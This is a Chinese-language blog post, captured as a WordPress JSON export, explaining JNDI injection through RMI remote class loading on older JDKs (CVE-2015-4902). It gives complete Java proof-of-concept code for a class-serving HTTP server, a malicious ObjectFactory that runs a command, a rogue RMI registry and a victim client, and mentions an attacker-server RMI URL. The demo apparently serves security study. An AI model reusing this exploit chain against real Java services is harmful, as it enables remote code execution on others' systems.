\u8fd9\u4e00\u7bc7\u7684\u91cd\u70b9\u8fd8\u662f\u8fdc\u7a0b\u52a0\u8f7d\u3002
\u8fd0\u884c\u73af\u5883\uff0cJDK 8u113\u4ee5\u524d\u7684\u7248\u672c\u3002\u4e4b\u540e\u7684\u7248\u672c\u9ed8\u8ba4\u4e0d\u5141\u8bb8RMI\u3001cosnaming\u4ece\u8fdc\u7a0b\u7684Codebase\u52a0\u8f7dReference\u5de5\u5382\u7c7b\u3002
JNDI\u6ce8\u5165\u6700\u5f00\u59cb\u8d77\u6e90\u4e8e\u91ce\u5916\u53d1\u73b0\u7684Java Applets \u70b9\u51fb\u64ad\u653e\u7ed5\u8fc7\u6f0f\u6d1e\uff08CVE-2015-4902\uff09\uff0c\u5b83\u7684\u653b\u51fb\u8fc7\u7a0b\u53ef\u4ee5\u7b80\u5355\u6982\u62ec\u4e3a\u4ee5\u4e0b\u51e0\u6b65\uff1a<\/p>\n\n\n\n
com.hans.httpServer.HttpServer<\/p>\n\n\n\n
package com.hans.httpServer;\n\nimport com.sun.net.httpserver.HttpExchange;\nimport com.sun.net.httpserver.HttpHandler;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.InetSocketAddress;\n\/*\n * \u4f60\u5ba2\u6237\u7aef\u7f3a\u4ec0\u4e48\u7c7b\u5230\u6211\u8fd9\u4e2aHttp\u670d\u52a1\u4e0a\u6765\u62ff\n * https:\/\/paper.seebug.org\/1091\/\n * 1. First start http server\n * *\/\npublic class HttpServer implements HttpHandler {\n public void handle(HttpExchange httpExchange) {\n try {\n System.out.println(\"new http request from \" + httpExchange.getRemoteAddress() + \" \" + httpExchange.getRequestURI());\n InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());\n ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\n while (inputStream.available() > 0) {\n byteArrayOutputStream.write(inputStream.read());\n }\n\n byte[] bytes = byteArrayOutputStream.toByteArray();\n httpExchange.sendResponseHeaders(200, bytes.length);\n httpExchange.getResponseBody().write(bytes);\n httpExchange.close();\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n public static void main(String args[]) throws IOException {\n com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);\n\n System.out.println(\"String HTTP Server on port: 8000\");\n httpServer.createContext(\"\/\", new HttpServer());\n httpServer.setExecutor(null);\n httpServer.start();\n }\n}\n<\/code><\/pre>\n\n\n\n\u5728http\u670d\u52a1\u4e0a\u653e\u4e00\u4e2a\u6076\u610f\u7684\u7c7b<\/h2>\n\n\n\n
com.hans.remoteClass.ExportObject<\/p>\n\n\n\n
package com.hans.remoteClass;\n\nimport javax.naming.Context;\nimport javax.naming.Name;\nimport javax.naming.spi.ObjectFactory;\nimport java.io.BufferedInputStream;\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\nimport java.io.Serializable;\nimport java.util.Hashtable;\n\npublic class ExportObject implements ObjectFactory, Serializable {\n\n \n\n\t\/**\n\t * \n\t *\/\n\tprivate static final long serialVersionUID = 1L;\n\n\tstatic {\n \/\/\u8fd9\u91cc\u7531\u4e8e\u5728static\u4ee3\u7801\u5757\u4e2d\uff0c\u65e0\u6cd5\u76f4\u63a5\u629b\u5f02\u5e38\u5916\u5e26\u6570\u636e\uff0c\u4e0d\u8fc7\u5728static\u4e2d\u5e94\u8be5\u4e5f\u6709\u5176\u4ed6\u65b9\u5f0f\u5916\u5e26\u6570\u636e\u3002\u6ca1\u5199\u5728\u6784\u9020\u51fd\u6570\u4e2d\u662f\u56e0\u4e3a\u9879\u76ee\u4e2d\u6709\u4e9b\u5229\u7528\u65b9\u5f0f\u4e0d\u4f1a\u8c03\u7528\u6784\u9020\u53c2\u6570\uff0c\u6240\u4ee5\u4e3a\u4e86\u65b9\u6807\u76f4\u63a5\u5199\u5728static\u4ee3\u7801\u5757\u4e2d\u6240\u6709\u8fdc\u7a0b\u52a0\u8f7d\u7c7b\u7684\u5730\u65b9\u90fd\u4f1a\u8c03\u7528static\u4ee3\u7801\u5757\n try {\n exec(\"gnome-calculator\");\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n public static void exec(String cmd) throws Exception {\n String sb = \"\";\n BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());\n BufferedReader inBr = new BufferedReader(new InputStreamReader(in));\n String lineStr;\n while ((lineStr = inBr.readLine()) != null)\n sb += lineStr + \"\\n\";\n inBr.close();\n in.close();\n\/\/ throw new Exception(sb);\n }\n\n public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {\n return null;\n }\n}\n<\/code><\/pre>\n\n\n\n\u5f53\u5728eclipse\u4e2d\u542f\u52a8 http server\u65f6\uff0ceclipse\u4f1a\u540c\u65f6\u7f16\u8bd1ExportObject.java\u3002\u5373\u53ef\u901a\u8fc7 http:\/\/localhost:8000\/com\/hans\/remoteClass\/ExportObject.class \u83b7\u53d6\u6076\u610f\u7684\u7c7b\u5e76\u8fd0\u884c\u3002<\/p>\n\n\n\n
\u6076\u610f\u7684RMI Server<\/h2>\n\n\n\n
com.hans.JNDIReference.RMIServer<\/p>\n\n\n\n
package com.hans.JNDIReference;\n\nimport com.sun.jndi.rmi.registry.ReferenceWrapper;\n\nimport javax.naming.NamingException;\nimport javax.naming.Reference;\nimport java.rmi.AlreadyBoundException;\nimport java.rmi.RemoteException;\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\n\npublic class RMIServer {\n public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {\n \/\/ \u521b\u5efaRegistry\n Registry registry = LocateRegistry.createRegistry(9999);\n System.out.println(\"java RMI registry created. port on 9999...\");\n Reference refObj = new Reference(\"ExportObject\", \"com.hans.remoteClass.ExportObject\", \"http:\/\/127.0.0.1:8000\/\");\n ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);\n registry.bind(\"refObj\", refObjWrapper);\n }\n}<\/code><\/pre>\n\n\n\n\u53d7\u5bb3\u7684Client<\/h2>\n\n\n\n
com.hans.JNDIReference.RMIClient<\/p>\n\n\n\n
package com.hans.JNDIReference;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.naming.NamingException;\nimport javax.naming.directory.DirContext;\nimport javax.naming.directory.InitialDirContext;\nimport java.rmi.NotBoundException;\nimport java.rmi.RemoteException;\n\npublic class RMIClient {\n public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {\n\/\/ Properties env = new Properties();\n\/\/ env.put(Context.INITIAL_CONTEXT_FACTORY,\n\/\/ \"com.sun.jndi.rmi.registry.RegistryContextFactory\");\n\/\/ env.put(Context.PROVIDER_URL,\n\/\/ \"rmi:\/\/localhost:9999\");\n Context ctx = new InitialContext();\n DirContext dirc = new InitialDirContext();\n ctx.lookup(\"rmi:\/\/localhost:9999\/refObj\");\n }\n}<\/code><\/pre>\n\n\n\n1.\u5148\u542f\u52a8HttpServer
\n2.\u5728\u542f\u52a8RMIServer
\n3.\u6700\u540e\u542f\u52a8RMIClient<\/p>\n\n\n\n
\u5f53\u8bf7\u6c42RMI\u670d\u52a1\u4e0a\u7684\u5bf9\u8c61\u65f6\uff0c\u4e5f\u5c31\u662fInitialContext().lookup()\uff0c\u4f1a\u540c\u65f6\u8bf7\u6c42\u6076\u610f\u670d\u52a1\u5668\u4e0a\u7684Reference\u7c7b\uff0c\u5e76\u52a0\u8f7d\u6076\u610fhttp\u670d\u52a1\u4e0a\u7684com.hans.remoteClass.ExportObject.class\u6076\u610f\u7c7b\uff0c\u5bfc\u81f4\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002InitialContext().lookup()\u662f\u5173\u952e\u3002\u540e\u9762weblogic\u6f0f\u6d1e\u7684\u89e6\u53d1\u4e5f\u662f\u5728\u8fd9\u4e2a\u51fd\u6570\u65b9\u6cd5\u4e0a\u3002<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u8fd9\u4e00\u7bc7\u7684\u91cd\u70b9\u8fd8\u662f\u8fdc\u7a0b\u52a0\u8f7d\u3002 \u8fd0\u884c\u73af\u5883\uff0cJDK 8u113\u4ee5\u524d\u7684\u7248\u672c\u3002\u4e4b\u540e\u7684\u7248\u672c\u9ed8\u8ba4\u4e0d\u5141\u8bb8RMI\u3001cosnaming\u4ece\u8fdc\u7a0b\u7684Codebase\u52a0\u8f7dReference\u5de5\u5382\u7c7b\u3002 JNDI\u6ce8\u5165\u6700\u5f00\u59cb\u8d77\u6e90\u4e8e\u91ce\u5916\u53d1\u73b0\u7684Java Applets \u70b9\u51fb\u64ad\u653e\u7ed5\u8fc7\u6f0f\u6d1e\uff08CVE-2015-4902\uff09\uff0c\u5b83\u7684\u653b\u51fb\u8fc7\u7a0b\u53ef\u4ee5\u7b80\u5355\u6982\u62ec\u4e3a\u4ee5\u4e0b\u51e0\u6b65\uff1a \u6076\u610fapplet\u4f7f\u7528JNLP\u5b9e\u4f8b\u5316JNDI InitialContext javax.naming.InitialContext\u7684\u6784\u9020\u51fd\u6570\u5c06\u8bf7\u6c42\u5e94\u7528\u7a0b\u5e8f\u7684JNDI.properties JNDI\u914d\u7f6e\u6587\u4ef6\u6765\u81ea\u6076\u610f\u7f51\u7ad9 \u6076\u610fWeb\u670d\u52a1\u5668\u5c06JNDI.properties\u53d1\u9001\u5230\u5ba2\u6237\u7aef JNDI.properties\u5185\u5bb9\u4e3a\uff1ajava.naming.provider.url = rmi:\/\/attacker-server\/Go \u5728InitialContext\u521d\u59cb\u5316\u671f\u95f4\u67e5\u627ermi\/\/attacker-server\/Go\uff0c\u653b\u51fb\u8005\u63a7\u5236\u7684\u6ce8\u518c\u8868\u5c06\u8fd4\u56deJNDI\u5f15\u7528 \uff08javax.naming.Reference\uff09 \u670d\u52a1\u5668\u4eceRMI\u6ce8\u518c\u8868\u63a5\u6536\u5230JNDI\u5f15\u7528\u540e\uff0c\u5b83\u5c06\u4ece\u653b\u51fb\u8005\u63a7\u5236\u7684\u670d\u52a1\u5668\u83b7\u53d6\u5de5\u5382\u7c7b\uff0c\u7136\u540e\u5b9e\u4f8b\u5316\u5de5\u5382\u4ee5\u8fd4\u56de JNDI\u6240\u5f15\u7528\u7684\u5bf9\u8c61\u7684\u65b0\u5b9e\u4f8b \u7531\u4e8e\u653b\u51fb\u8005\u63a7\u5236\u4e86\u5de5\u5382\u7c7b\uff0c\u56e0\u6b64\u4ed6\u53ef\u4ee5\u8f7b\u677e\u8fd4\u56de\u5e26\u6709\u9759\u6001\u53d8\u91cf\u7684\u7c7b\u521d\u59cb\u5316\u7a0b\u5e8f\uff0c\u8fd0\u884c\u7531\u653b\u51fb\u8005\u5b9a\u4e49\u7684\u4efb\u4f55Java\u4ee3\u7801\uff0c\u5b9e\u73b0\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c \u521b\u5efa\u4e00\u4e2ahttp server com.hans.httpServer.HttpServer \u5728http\u670d\u52a1\u4e0a\u653e\u4e00\u4e2a\u6076\u610f\u7684\u7c7b com.hans.remoteClass.ExportObject \u5f53\u5728eclipse\u4e2d\u542f\u52a8 http server\u65f6\uff0ceclipse\u4f1a\u540c\u65f6\u7f16\u8bd1ExportObject.java\u3002\u5373\u53ef\u901a\u8fc7 http:\/\/localhost:8000\/com\/hans\/remoteClass\/ExportObject.class \u83b7\u53d6\u6076\u610f\u7684\u7c7b\u5e76\u8fd0\u884c\u3002 \u6076\u610f\u7684RMI Server com.hans.JNDIReference.RMIServer \u53d7\u5bb3\u7684Client com.hans.JNDIReference.RMIClient 1.\u5148\u542f\u52a8HttpServer 2.\u5728\u542f\u52a8RMIServer 3.\u6700\u540e\u542f\u52a8RMIClient \u5f53\u8bf7\u6c42RMI\u670d\u52a1\u4e0a\u7684\u5bf9\u8c61\u65f6\uff0c\u4e5f\u5c31\u662fInitialContext().lookup()\uff0c\u4f1a\u540c\u65f6\u8bf7\u6c42\u6076\u610f\u670d\u52a1\u5668\u4e0a\u7684Reference\u7c7b\uff0c\u5e76\u52a0\u8f7d\u6076\u610fhttp\u670d\u52a1\u4e0a\u7684com.hans.remoteClass.ExportObject.class\u6076\u610f\u7c7b\uff0c\u5bfc\u81f4\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002InitialContext().lookup()\u662f\u5173\u952e\u3002\u540e\u9762weblogic\u6f0f\u6d1e\u7684\u89e6\u53d1\u4e5f\u662f\u5728\u8fd9\u4e2a\u51fd\u6570\u65b9\u6cd5\u4e0a\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,2],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/262"}],"collection":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=262"}],"version-history":[{"count":2,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/262\/revisions"}],"predecessor-version":[{"id":331,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/262\/revisions\/331"}],"wp:attachment":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=262"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=262"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=262"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}